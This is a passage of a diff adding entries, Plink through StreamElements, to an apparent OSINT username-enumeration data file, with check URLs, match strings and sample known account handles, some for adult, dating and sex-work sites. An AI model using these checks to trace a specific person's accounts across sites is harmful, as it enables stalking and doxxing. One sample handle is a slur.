    ", + "m_string": "We couldn't find anything ", + "m_code": 200, + "known": [ + "SlimShaggy18", + "ikemenzi" + ], + "cat": "gaming" + }, + { + "name": "Plink", + "uri_check": "https://plink.gg/user/{account}", + "e_code": 200, + "e_string": "class=\"user-page\"", + "m_string": "PLINK - 404 Page not found", + "m_code": 404, + "known": [ + "CryptonianTV", + "xacstonyjx" + ], + "cat": "gaming" + }, + { + "name": "Plurk", + "uri_check": "https://www.plurk.com/{account}", + "e_code": 200, + "e_string": "Profile views", + "m_string": "Register your plurk account", + "m_code": 200, + "known": [ + "test" + ], + "cat": "social" + }, + { + "name": "Poe.com", + "uri_check": "https://poe.com/profile/{account}", + "e_code": 200, + "e_string": "\"__isNode\":\"PoeUser\"", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "spdustin", + "PromptCase" + ], + "cat": "tech" + }, + { + "name": "Pokec", + "uri_check": "https://pokec.azet.sk/{account}", + "e_code": 200, + "e_string": "idReportedUser", + "m_string": "Neexistujúci používateľ", + "m_code": 404, + "known": [ + "tobias", + "brahim1" + ], + "cat": "social" + }, + { + "name": "pokemonshowdown", + "uri_check": "https://pokemonshowdown.com/users/{account}", + "e_code": 200, + "e_string": "Official ladder", + "m_string": " (Unregistered)", + "m_code": 404, + "known": [ + "red", + "blue" + ], + "cat": "gaming" + }, + { + "name": "Pokerstrategy", + "uri_check": "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code": 200, + "e_string": "User profile for", + "m_string": "Sorry, the requested page couldn't be found!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Polarsteps", + "uri_check": "https://api.polarsteps.com/users/byusername/{account}", + "uri_pretty": "https://www.polarsteps.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "EngelBos", + "GunnarEndlich" + ], + "cat": "hobby" + }, + { + "name": "Polchat.pl", + "uri_check": "https://polczat.pl/forum/profile/{account}/", + "e_code": 200, + "e_string": "Historia wpisów", + "m_string": "Wybrany użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "admin", + "Lesik" + ], + "cat": "social" + }, + { + "name": "policja2009", + "uri_check": "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code": 200, + "e_string": "Autor", + "m_string": "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code": 200, + "known": [ + "Pvwel", + "janek" + ], + "cat": "misc" + }, + { + "name": "Poll Everywhere", + "uri_check": "https://pollev.com/proxy/api/users/{account}", + "uri_pretty": "https://pollev.com/{account}", + "e_code": 200, + "e_string": "name", + "m_string": "ResourceNotFound", + "m_code": 404, + "known": [ + "josh", + "jsmith" + ], + "cat": "tech" + }, + { + "name": "polygon", + "uri_check": "https://www.polygon.com/users/{account}", + "e_code": 200, + "e_string": "- Polygon", + "m_string": "404 Not found", + "m_code": 404, + "known": [ + "nicodeyo", + "Nicole_Clark" + ], + "cat": "gaming" + }, + { + "name": "popl", + "uri_check": "https://poplme.co/{account}", + "e_code": 200, + "e_string": "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string": "Profile not found", + "m_code": 200, + "known": [ + "rpelite", + "Ee0af3d822", + "ashleymetzger" + ], + "cat": "business" + }, + { + "name": "Pornhub Porn Stars", + "uri_check": "https://www.pornhub.com/pornstar/{account}", + "e_code": 200, + "e_string": "Pornstar Rank", + "m_string": "", + "m_code": 301, + "known": [ + "riley-reid", + "alex-adams" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Pornhub Users", + "uri_check": "https://www.pornhub.com/users/{account}", + "e_code": 200, + "e_string": "s Profile - Pornhub.com", + "m_string": "Error Page Not Found", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Poshmark", + "uri_check": "https://poshmark.com/closet/{account}", + "e_code": 200, + "e_string": " is using Poshmark to sell items from their closet.", + "m_string": "Page not found - Poshmark", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "shopping" + }, + { + "name": "postcrossing", + "uri_check": "https://www.postcrossing.com/user/{account}", + "e_code": 200, + "e_string": ", from", + "m_string": "- Postcrossing", + "m_code": 404, + "known": [ + "Vladimir", + "olga3" + ], + "cat": "social" + }, + { + "name": "Poweredbygay.social (Mastodon Instance)", + "uri_check": "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://poweredbygay.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "aggiepm", + "eplumley1976" + ], + "cat": "social" + }, + { + "name": "Pr0gramm", + "uri_check": "https://pr0gramm.com/api/profile/info?name={account}", + "uri_pretty": "https://pr0gramm.com/user/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "kaizernero", + "Giga1337" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Pravda.me", + "uri_check": "https://pravda.me/@{account}", + "e_code": 200, + "e_string": "Российская социальная сеть (by mastodon)", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "tass", + "rt_russian" + ], + "cat": "social" + }, + { + "name": "Privacy Guides", + "uri_check": "https://discuss.privacyguides.net/u/{account}.json", + "uri_pretty": "https://discuss.privacyguides.net/u/{account}/summary", + "e_code": 200, + "e_string": "assign_path", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "jonah", + "dngray" + ], + "cat": "tech" + }, + { + "name": "Producthunt", + "uri_check": "https://www.producthunt.com/@{account}", + "e_code": 200, + "e_string": "s profile on Product Hunt", + "m_string": "Product Hunt - All newest Products", + "m_code": 404, + "known": [ + "alex", + "jack" + ], + "cat": "business" + }, + { + "name": "PromoDJ", + "uri_check": "https://promodj.com/ajax/register.html?lang=en", + "uri_pretty": "https://promodj.com/{account}", + "post_body": "kind=nick&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "Address you entered is already taken", + "m_string": "The address is free, it's great;)", + "m_code": 200, + "known": [ + "sekoy", + "vovasmallny" + ], + "cat": "music" + }, + { + "name": "Pronouns.Page", + "uri_check": "https://pronouns.page/api/profile/get/{account}?version=2", + "uri_pretty": "https://pronouns.page/@{account}", + "e_code": 200, + "e_string": "username", + "m_string": "\"profiles\": {}", + "m_code": 304, + "known": [ + "cannabis_cervi", + "user" + ], + "cat": "social" + }, + { + "name": "Pronouny", + "uri_check": "https://pronouny.xyz/api/users/profile/username/{account}", + "uri_pretty": "https://pronouny.xyz/users/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "That user doesn't exist", + "m_code": 400, + "known": [ + "donna", + "honey" + ], + "cat": "social" + }, + { + "name": "Prose", + "uri_check": "https://prose.astral.camp/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "endeavorance", + "overthinkification" + ], + "cat": "blog" + }, + { + "name": "prv.pl", + "uri_check": "https://www.prv.pl/osoba/{account}", + "e_code": 200, + "e_string": "LOGIN", + "m_string": "Użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "tech" + }, + { + "name": "Public.com", + "uri_check": "https://public.com/@{account}", + "e_code": 200, + "e_string": "\"publicId\":", + "m_string": "<title>404 - Page Not Found", + "m_code": 404, + "known": [ + "igor1", + "david2" + ], + "cat": "finance" + }, + { + "name": "pypi", + "uri_check": "https://pypi.org/user/{account}/", + "e_code": 200, + "e_string": "Profile of", + "m_string": "Page Not Found (404) · PyPI", + "m_code": 404, + "known": [ + "dev", + "pydude" + ], + "cat": "coding" + }, + { + "name": "QUEER PL", + "uri_check": "https://queer.pl/user/{account}", + "e_code": 200, + "e_string": "Ostatnio on-line", + "m_string": "Strona nie została znaleziona", + "m_code": 404, + "known": [ + "claudii", + "kowalski" + ], + "cat": "social" + }, + { + "name": "quitter.pl", + "uri_check": "https://quitter.pl/api/v1/accounts/{account}", + "uri_pretty": "https://quitter.pl/users/{account}", + "e_code": 200, + "e_string": "avatar_static", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "smok", + "mik" + ], + "cat": "social" + }, + { + "name": "Quizlet", + "uri_check": "https://quizlet.com/webapi/3.2/users/check-username?username={account}", + "uri_pretty": "https://quizlet.com/user/{account}/sets", + "e_code": 200, + "e_string": "\"identifier\":\"username_is_taken\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "Rita426", + "Muyao_531" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Quora", + "uri_check": "https://www.quora.com/profile/{account}", + "e_code": 200, + "e_string": "Credentials", + "m_string": "Page Not Found", + "m_code": 301, + "known": [ + "John-Galan-5", + "Alex-Clay" + ], + "cat": "social" + }, + { + "name": "Raddle.me", + "uri_check": "https://raddle.me/user/{account}", + "e_code": 200, + "e_string": "sidebar__title", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "zephyr", + "Archaplain" + ], + "cat": "social" + }, + { + "name": "RaidForums - Archive", + "uri_check": "https://rf-archive.com/users.php?s_tag={account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "pompompurin", + "DexterM1" + ], + "cat": "archived" + }, + { + "name": "Rant.li", + "uri_check": "https://rant.li/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "baretri", + "arinbasu" + ], + "cat": "blog" + }, + { + "name": "Rarible", + "uri_check": "https://rarible.com/marketplace/api/v4/urls/{account}", + "uri_pretty": "https://rarible.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "lokikot", + "vintagemozart" + ], + "cat": "tech" + }, + { + "name": "RblxTrade", + "uri_check": "https://rblx.trade/api/v1/user/get-by-username?username={account}", + "uri_pretty": "https://rblx.trade/p/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"success\":false", + "m_code": 400, + "known": [ + "webbreacher", + "SonOfSevenless" + ], + "cat": "gaming" + }, + { + "name": "redbubble", + "uri_check": "https://www.redbubble.com/people/{account}/shop", + "e_code": 200, + "e_string": "Shop | Redbubble", + "m_string": "This is a lost cause.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "shopping" + }, + { + "name": "Reddit", + "uri_check": "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty": "https://www.reddit.com/user/{account}", + "e_code": 200, + "e_string": "total_karma", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "koavf", + "alabasterheart" + ], + "cat": "social" + }, + { + "name": "REDGIFS", + "uri_check": "https://api.redgifs.com/v1/users/{account}", + "uri_pretty": "https://www.redgifs.com/users/{account}", + "e_code": 200, + "e_string": "followers", + "m_string": "user account not found for ", + "m_code": 404, + "known": [ + "alexbreecooper", + "Jose-Roberto-Rasi" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Refsheet", + "uri_check": "https://refsheet.net/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "That's unfortunate. Where did it go?", + "m_code": 404, + "known": [ + "razzyaurealis", + "saki" + ], + "cat": "hobby" + }, + { + "name": "Replit", + "uri_check": "https://replit.com/@{account}", + "e_code": 200, + "e_string": "\"__typename\":\"User\"", + "m_string": "\"statusCode\":404", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "coding" + }, + { + "name": "Researchgate", + "uri_check": "https://www.researchgate.net/profile/{account}", + "e_code": 200, + "e_string": " | ", + "m_string": "20+ million researchers on ResearchGate", + "m_code": 301, + "known": [ + "Tafara-Mwareya", + "Jose-Roberto-Rasi" + ], + "cat": "hobby" + }, + { + "name": "resumes_actorsaccess", + "uri_check": "https://resumes.actorsaccess.com/{account}", + "e_code": 200, + "e_string": "- Resume | Actors Access", + "m_string": "File was not found on this SERVER", + "m_code": 200, + "known": [ + "veronicashelby", + "sarahstipe" + ], + "cat": "social" + }, + { + "name": "Revolut", + "uri_check": "https://revolut.me/api/web-profile/{account}", + "uri_pretty": "https://revolut.me/{account}", + "e_code": 200, + "e_string": "\"firstName\"", + "m_string": "\"User not found\"", + "m_code": 404, + "known": [ + "theaswdc", + "honey" + ], + "cat": "finance" + }, + { + "name": "risk.ru", + "uri_check": "https://risk.ru/people/{account}", + "e_code": 200, + "e_string": "— Люди — Risk.ru", + "m_string": "404 — Risk.ru", + "m_code": 404, + "known": [ + "igor1", + "olga" + ], + "cat": "hobby" + }, + { + "name": "Roblox", + "uri_check": "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty": "https://www.roblox.com/search/users?keyword={account}", + "e_code": 200, + "e_string": "Username is already in use", + "m_string": "Username is valid", + "m_code": 200, + "known": [ + "LeetPawn", + "elephant459" + ], + "cat": "gaming" + }, + { + "name": "RoutineHub", + "uri_check": "https://routinehub.co/user/{account}", + "e_code": 200, + "e_string": "Downloads: ", + "m_string": "A community for Apple Shortcuts", + "m_code": 200, + "known": [ + "zachary7829", + "JonathanSetzer" + ], + "cat": "social" + }, + { + "name": "rsi", + "uri_check": "https://robertsspaceindustries.com/citizens/{account}", + "e_code": 200, + "e_string": "CITIZEN DOSSIER", + "m_string": "404 NAVIGATING UNCHARTED TERRITORY", + "m_code": 404, + "known": [ + "alpHackeronee", + "Quantum_Physicist" + ], + "cat": "gaming" + }, + { + "name": "ru_123rf", + "uri_check": "https://ru.123rf.com/profile_{account}", + "e_code": 200, + "e_string": "userID", + "m_string": "Фотобанк 123RF - Стоковые Фото, Векторы, Видеоролики. Подписка на Фото. Royalty Free контент<", + "m_code": 302, + "known": [ + "ruslan", + "olga" + ], + "cat": "hobby" + }, + { + "name": "RubyGems.org", + "uri_check": "https://rubygems.org/profiles/{account}", + "e_code": 200, + "e_string": "class=\"profile__header\"", + "m_string": "alt=\"404 error\"", + "m_code": 404, + "known": [ + "awscloud", + "bsm" + ], + "cat": "coding" + }, + { + "name": "RumbleChannel", + "uri_check": "https://rumble.com/c/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/c/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SaltyCracker", + "GGreenwald" + ], + "cat": "political" + }, + { + "name": "RumbleUser", + "uri_check": "https://rumble.com/user/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/user/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SimonParkes", + "djmrmusic" + ], + "cat": "political" + }, + { + "name": "RuneScape", + "uri_check": "https://apps.runescape.com/runemetrics/profile/profile?user={account}", + "uri_pretty": "https://apps.runescape.com/runemetrics/app/overview/player/{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"error\":\"NO_PROFILE\"", + "m_code": 200, + "known": [ + "Thomas", + "Wahisietel" + ], + "cat": "hobby" + }, + { + "name": "RuTracker.org", + "uri_check": "https://rutracker.org/forum/profile.php?mode=viewprofile&u={account}", + "e_code": 200, + "e_string": "Профиль пользователя", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "Rutracker", + "Feo156" + ], + "cat": "misc" + }, + { + "name": "ruVoIP.net", + "uri_check": "https://ruvoip.net/members/{account}/", + "e_code": 200, + "e_string": "id=\"user-xprofile\"", + "m_string": "Error 404 - Not Found", + "m_code": 200, + "known": [ + "dominique", + "demon" + ], + "cat": "tech" + }, + { + "name": "Salon24", + "uri_check": "https://www.salon24.pl/u/{account}/", + "e_code": 200, + "e_string": "<span>Obserwujących</span>", + "m_string": "<title>Salon24 - Blogi, wiadomości, opinie i komentarze", + "m_code": 301, + "known": [ + "matuzalem", + "niewiarygodne" + ], + "cat": "blog" + }, + { + "name": "Scammer.info", + "uri_check": "https://scammer.info/u/{account}.json", + "uri_pretty": "https://scammer.info/u/{account}", + "e_code": 200, + "e_string": "avatar_template", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "AngelFat", + "lecter" + ], + "cat": "misc" + }, + { + "name": "Scored", + "uri_check": "https://scored.co/api/v2/user/about.json?user={account}", + "uri_pretty": "https://scored.co/u/{account}", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "LowEnergyFaggot", + "libsaremental" + ], + "cat": "social" + }, + { + "name": "ScoutWiki", + "uri_check": "https://en.scoutwiki.org/User:{account}", + "e_code": 200, + "e_string": "NewPP limit report", + "m_string": "is not registered", + "m_code": 301, + "known": [ + "Mlh_nl", + "Benjism89" + ], + "cat": "social" + }, + { + "name": "Scratch", + "uri_check": "https://api.scratch.mit.edu/accounts/checkusername/{account}/", + "uri_pretty": "https://scratch.mit.edu/users/{account}/", + "e_code": 200, + "e_string": "\"msg\":\"username exists\"", + "m_string": "\"msg\":\"valid username\"", + "m_code": 200, + "known": [ + "griffpatch", + "-Zaire-" + ], + "cat": "coding" + }, + { + "name": "secure_donation", + "uri_check": "https://secure.donationpay.org/{account}/", + "e_code": 200, + "e_string": "| DonationPay", + "m_string": "secure.donationpay.org", + "m_code": 404, + "known": [ + "rareimpact", + "safc" + ], + "cat": "finance" + }, + { + "name": "sedisp@ce", + "uri_check": "https://sedispace.com/@{account}", + "e_code": 200, + "e_string": "Membre depuis -", + "m_string": "- Page non trouvée!", + "m_code": 302, + "known": [ + "mamadou", + "konate" + ], + "cat": "social" + }, + { + "name": "Seneporno", + "uri_check": "https://seneporno.com/user/{account}", + "e_code": 200, + "e_string": "Dernier Login", + "m_string": "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code": 301, + "known": [ + "Kalsobbc", + "Boymariste" + ], + "cat": "xx NSFW xx" + }, + { + "name": "sentimente", + "uri_check": "https://www.sentimente.com/amp/{account}.html", + "e_code": 200, + "e_string": "Chat online with", + "m_string": "HTTP Error code: 404. Resource not found", + "m_code": 404, + "known": [ + "david01", + "brahim01" + ], + "cat": "dating" + }, + { + "name": "SEOClerks", + "uri_check": "https://www.seoclerks.com/user/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "SEO Marketplace", + "m_code": 302, + "known": [ + "Vfmseo", + "gokudadon" + ], + "cat": "social" + }, + { + "name": "setlist.fm", + "uri_check": "https://www.setlist.fm/user/{account}", + "e_code": 200, + "e_string": "s setlist.fm | setlist.fm", + "m_string": "Sorry, the page you requested doesn't exist", + "m_code": 404, + "known": [ + "bendobrin", + "michi" + ], + "cat": "music" + }, + { + "name": "Sexworker", + "uri_check": "https://sexworker.com/api/profile/{account}", + "uri_pretty": "https://sexworker.com/{account}", + "e_code": 200, + "e_string": "profilePictureUrl", + "m_string": "This user does not exist.", + "m_code": 404, + "known": [ + "sakii_nightshade", + "annajean2319" + ], + "cat": "xx NSFW xx" + }, + { + "name": "SFD", + "uri_check": "https://www.sfd.pl/profile/{account}", + "e_code": 200, + "e_string": "Tematy użytkownika", + "m_string": "Brak aktywnego profilu na forum", + "m_code": 404, + "known": [ + "janek", + "admin" + ], + "cat": "health" + }, + { + "name": "Shesfreaky", + "uri_check": "https://www.shesfreaky.com/profile/{account}/", + "e_code": 200, + "e_string": "s Profile - ShesFreaky", + "m_string": "", + "m_code": 302, + "known": [ + "tata23", + "fitzsta" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shopify", + "uri_check": "https://{account}.myshopify.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "home", + "m_string": "Sorry, this shop is currently unavailable.", + "m_code": 404, + "known": [ + "john", + "daniel" + ], + "cat": "shopping" + }, + { + "name": "Showup.tv", + "uri_check": "https://showup.tv/profile/{account}", + "headers": { + "Cookie": "accept_rules=true;" + }, + "e_code": 200, + "e_string": "O mnie", + "m_string": "Darmowe", + "m_code": 404, + "known": [ + "LunaVee", + "Jane_Frou" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shutterstock", + "uri_check": "https://www.shutterstock.com/g/{account}", + "e_code": 200, + "e_string": "| Shutterstock", + "m_string": "Well, this is unexpected...", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "images" + }, + { + "name": "SimplePlanes", + "uri_check": "https://www.simpleplanes.com/u/{account}", + "e_code": 200, + "e_string": "<h5>joined", + "m_string": "<title>SimplePlanes Airplanes", + "m_code": 302, + "known": [ + "realSavageMan", + "Jundroo", + "john" + ], + "cat": "gaming" + }, + { + "name": "skeb", + "uri_check": "https://skeb.jp/@{account}", + "e_code": 200, + "e_string": ") | Skeb", + "m_string": "Skeb - Request Box", + "m_code": 503, + "known": [ + "eipuru_", + "sime064" + ], + "cat": "art" + }, + { + "name": "SlackHoles", + "uri_check": "https://slackholes.com/actor/{account}/", + "e_code": 200, + "e_string": "Pussy and Ass Sizes", + "m_string": "It looks like nothing was found at this location", + "m_code": 404, + "known": [ + "alexbreecooper", + "roxy-raye" + ], + "cat": "xx NSFW xx" + }, + { + "name": "slant", + "uri_check": "https://www.slant.co/users/{account}", + "e_code": 200, + "e_string": "s Profile - Slant", + "m_string": "404 - Page Not Found - Slant", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "shopping" + }, + { + "name": "slides", + "uri_check": "https://slides.com/{account}", + "e_code": 200, + "e_string": "Presentations by", + "m_string": "You may have mistyped the address", + "m_code": 404, + "known": [ + "arunthomas" + ], + "cat": "social" + }, + { + "name": "Slideshare", + "uri_check": "https://www.slideshare.net/{account}", + "e_code": 200, + "e_string": "data-testid=\"report-button\"", + "m_string": "id=\"username-available\"", + "m_code": 200, + "known": [ + "rebeccaskeeles", + "john" + ], + "cat": "social" + }, + { + "name": "SmashRun", + "uri_check": "https://smashrun.com/{account}/", + "e_code": 200, + "e_string": "Miles run overall", + "m_string": "no Smashrunner with the username", + "m_code": 404, + "known": [ + "john.young" + ], + "cat": "health" + }, + { + "name": "smelsy", + "uri_check": "https://www.smelsy.com/profile/{account}", + "e_code": 200, + "e_string": "Smelsy -", + "m_string": "Server Error", + "m_code": 500, + "known": [ + "mohamed01", + "ahmed" + ], + "cat": "misc" + }, + { + "name": "SmugMug", + "uri_check": "https://{account}.smugmug.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "schema.org/Person", + "m_string": "schema.org/Thing", + "m_code": 404, + "known": [ + "wow", + "jill" + ], + "cat": "images" + }, + { + "name": "smule", + "uri_check": "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty": "https://www.smule.com/{account}", + "e_code": 200, + "e_string": "account_id", + "m_string": "code\": 65", + "m_code": 400, + "known": [ + "cgrrose", + "John___Anish" + ], + "cat": "music" + }, + { + "name": "Snapchat", + "uri_check": "https://www.snapchat.com/@{account}", + "e_code": 200, + "e_string": "is on Snapchat!", + "m_string": "NOT_FOUND", + "m_code": 200, + "known": [ + "djkhaled305", + "mileycyrus" + ], + "cat": "social" + }, + { + "name": "Snipfeed", + "uri_check": "https://snipfeed.co/{account}", + "e_code": 200, + "e_string": "creatorLink", + "m_string": "Oops, you hit a dead end!", + "m_code": 404, + "known": [ + "mycherrycrush", + "honey" + ], + "cat": "misc" + }, + { + "name": "soc.citizen4.eu", + "uri_check": "https://soc.citizen4.eu/profile/{account}/profile", + "e_code": 200, + "e_string": "@soc.citizen4.eu", + "m_string": "Nie znaleziono", + "m_code": 404, + "known": [ + "admin", + "miklo" + ], + "cat": "social" + }, + { + "name": "social.bund.de", + "uri_check": "https://social.bund.de/@{account}", + "e_code": 200, + "e_string": "@social.bund.de) - social.bund.de", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "bfdi", + "bmdv" + ], + "cat": "social" + }, + { + "name": "social_msdn", + "uri_check": "https://social.msdn.microsoft.com/profile/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code": 404, + "known": [ + "edoardo", + "microsoftfan" + ], + "cat": "social" + }, + { + "name": "sofurry", + "uri_check": "https://{account}.sofurry.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "'s Profile | SoFurry", + "m_string": "SoFurry - Error | SoFurry", + "m_code": 404, + "known": [ + "reeden-landshey", + "tigerzero" + ], + "cat": "art" + }, + { + "name": "solo.to", + "uri_check": "https://solo.to/{account}", + "e_code": 200, + "e_string": "create your own page", + "m_string": "The page you're looking for isn't here.", + "m_code": 404, + "known": [ + "saruei", + "yui" + ], + "cat": "social" + }, + { + "name": "SoundCloud", + "uri_check": "https://soundcloud.com/{account}", + "e_code": 200, + "e_string": "SoundCloud", + "m_string": "sounds", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "music" + }, + { + "name": "Soup", + "uri_check": "https://www.soup.io/author/{account}", + "e_code": 200, + "e_string": "Author at Soup.io", + "m_string": "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code": 301, + "known": [ + "john", + "cristina" + ], + "cat": "blog" + }, + { + "name": "Sourceforge", + "uri_check": "https://sourceforge.net/user/username/{account}", + "uri_pretty": "https://sourceforge.net/u/{account}/profile", + "e_code": 400, + "e_string": "\"error\": \"invalid\"", + "m_string": "\"success\": 1", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Speaker Deck", + "uri_check": "https://speakerdeck.com/{account}/", + "e_code": 200, + "e_string": ") on Speaker Deck", + "m_string": "User Not Found - Speaker Deck", + "m_code": 404, + "known": [ + "petecheslock", + "turbosmart45" + ], + "cat": "social" + }, + { + "name": "speedrun", + "uri_check": "https://www.speedrun.com/user/{account}/", + "e_code": 200, + "e_string": "Runs - ", + "m_string": "speedrun.com", + "m_code": 404, + "known": [ + "mike", + "chris" + ], + "cat": "gaming" + }, + { + "name": "SpiceWorks", + "uri_check": "https://community.spiceworks.com/people/{account}", + "e_code": 200, + "e_string": "Portfolio of IT Projects - Spiceworks", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "spicerex", + "rod-it" + ], + "cat": "tech" + }, + { + "name": "SPOJ", + "uri_check": "https://www.spoj.com/users/{account}/", + "e_code": 200, + "e_string": "<h3>Activity over the last year</h3>", + "m_string": "<strong>Innopolis Open 2018</strong>", + "m_code": 200, + "known": [ + "defrager", + "xilinx" + ], + "cat": "coding" + }, + { + "name": "sporcle", + "uri_check": "https://www.sporcle.com/user/{account}/people/", + "e_code": 200, + "e_string": "'s Sporcle Friends", + "m_string": "This Sporcle user cannot be found.", + "m_code": 301, + "known": [ + "Test", + "lolshortee" + ], + "cat": "gaming" + }, + { + "name": "Sports Tracker", + "uri_check": "https://api.sports-tracker.com/apiserver/v1/user/name/{account}", + "uri_pretty": "https://sports-tracker.com/view_profile/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"code\":\"404\"", + "m_code": 200, + "known": [ + "petriola", + "adisonthadat" + ], + "cat": "health" + }, + { + "name": "Spotify", + "uri_check": "https://open.spotify.com/user/{account}", + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kexp_official", + "mkbhd" + ], + "cat": "music", + "protection": [ + "other" + ] + }, + { + "name": "StackOverflow", + "uri_check": "https://stackoverflow.com/users/filter?search={account}", + "e_code": 200, + "e_string": "grid--item user-info", + "m_string": "No users matched your search.", + "m_code": 200, + "known": [ + "vonc", + "bergi" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "StackShare", + "uri_check": "https://stackshare.io/{account}", + "e_code": 200, + "e_string": "class='user-container'", + "m_string": "Sorry, we couldn't find that page :(", + "m_code": 404, + "known": [ + "gordonpn68492", + "Alan-Liang" + ], + "cat": "tech" + }, + { + "name": "Statuspage", + "uri_check": "https://{account}.statuspage.io/api/v2/status.json", + "uri_pretty": "https://{account}.statuspage.io/", + "e_code": 200, + "e_string": "updated_at", + "m_string": "<html><body>You are being <a href=\"https://www.statuspage.io\">redirected</a>.</body></html>", + "m_code": 302, + "known": [ + "8713981tpdlg", + "gaming", + "coinbase" + ], + "cat": "tech" + }, + { + "name": "Steam", + "uri_check": "https://steamcommunity.com/id/{account}", + "e_code": 200, + "e_string": "g_rgProfileData =", + "m_string": "Steam Community :: Error", + "m_code": 200, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "SteamGifts", + "uri_check": "https://www.steamgifts.com/user/{account}", + "e_code": 200, + "e_string": "\"identifier\":", + "m_string": "", + "m_code": 301, + "known": [ + "AbsurdPoncho", + "Wolod1402" + ], + "cat": "gaming" + }, + { + "name": "Steemit", + "uri_check": "https://signup.steemit.com/api/check_username", + "uri_pretty": "https://steemit.com/@{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"type\":\"error_api_username_used\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "petlover", + "zalat" + ], + "cat": "social" + }, + { + "name": "steller", + "uri_check": "https://steller.co/{account}", + "e_code": 200, + "e_string": " on Steller", + "m_string": "", + "m_code": 404, + "known": [ + "jeannnn", + "havwoods" + ], + "cat": "shopping" + }, + { + "name": "StoryCorps", + "uri_check": "https://archive.storycorps.org/user/{account}/", + "e_code": 200, + "e_string": "archive author", + "m_string": "We're sorry, but the page", + "m_code": 404, + "known": [ + "jthorstad", + "paul-swider" + ], + "cat": "blog" + }, + { + "name": "Strava", + "uri_check": "https://www.strava.com/athletes/{account}", + "e_code": 301, + "e_string": "/athletes/", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "jane", + "adam" + ], + "cat": "social" + }, + { + "name": "StreamElements", + "uri_check": "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty": "https://streamelements.com/{account}", + "e_code": 200, + "e_string": "\"providerId\"", + 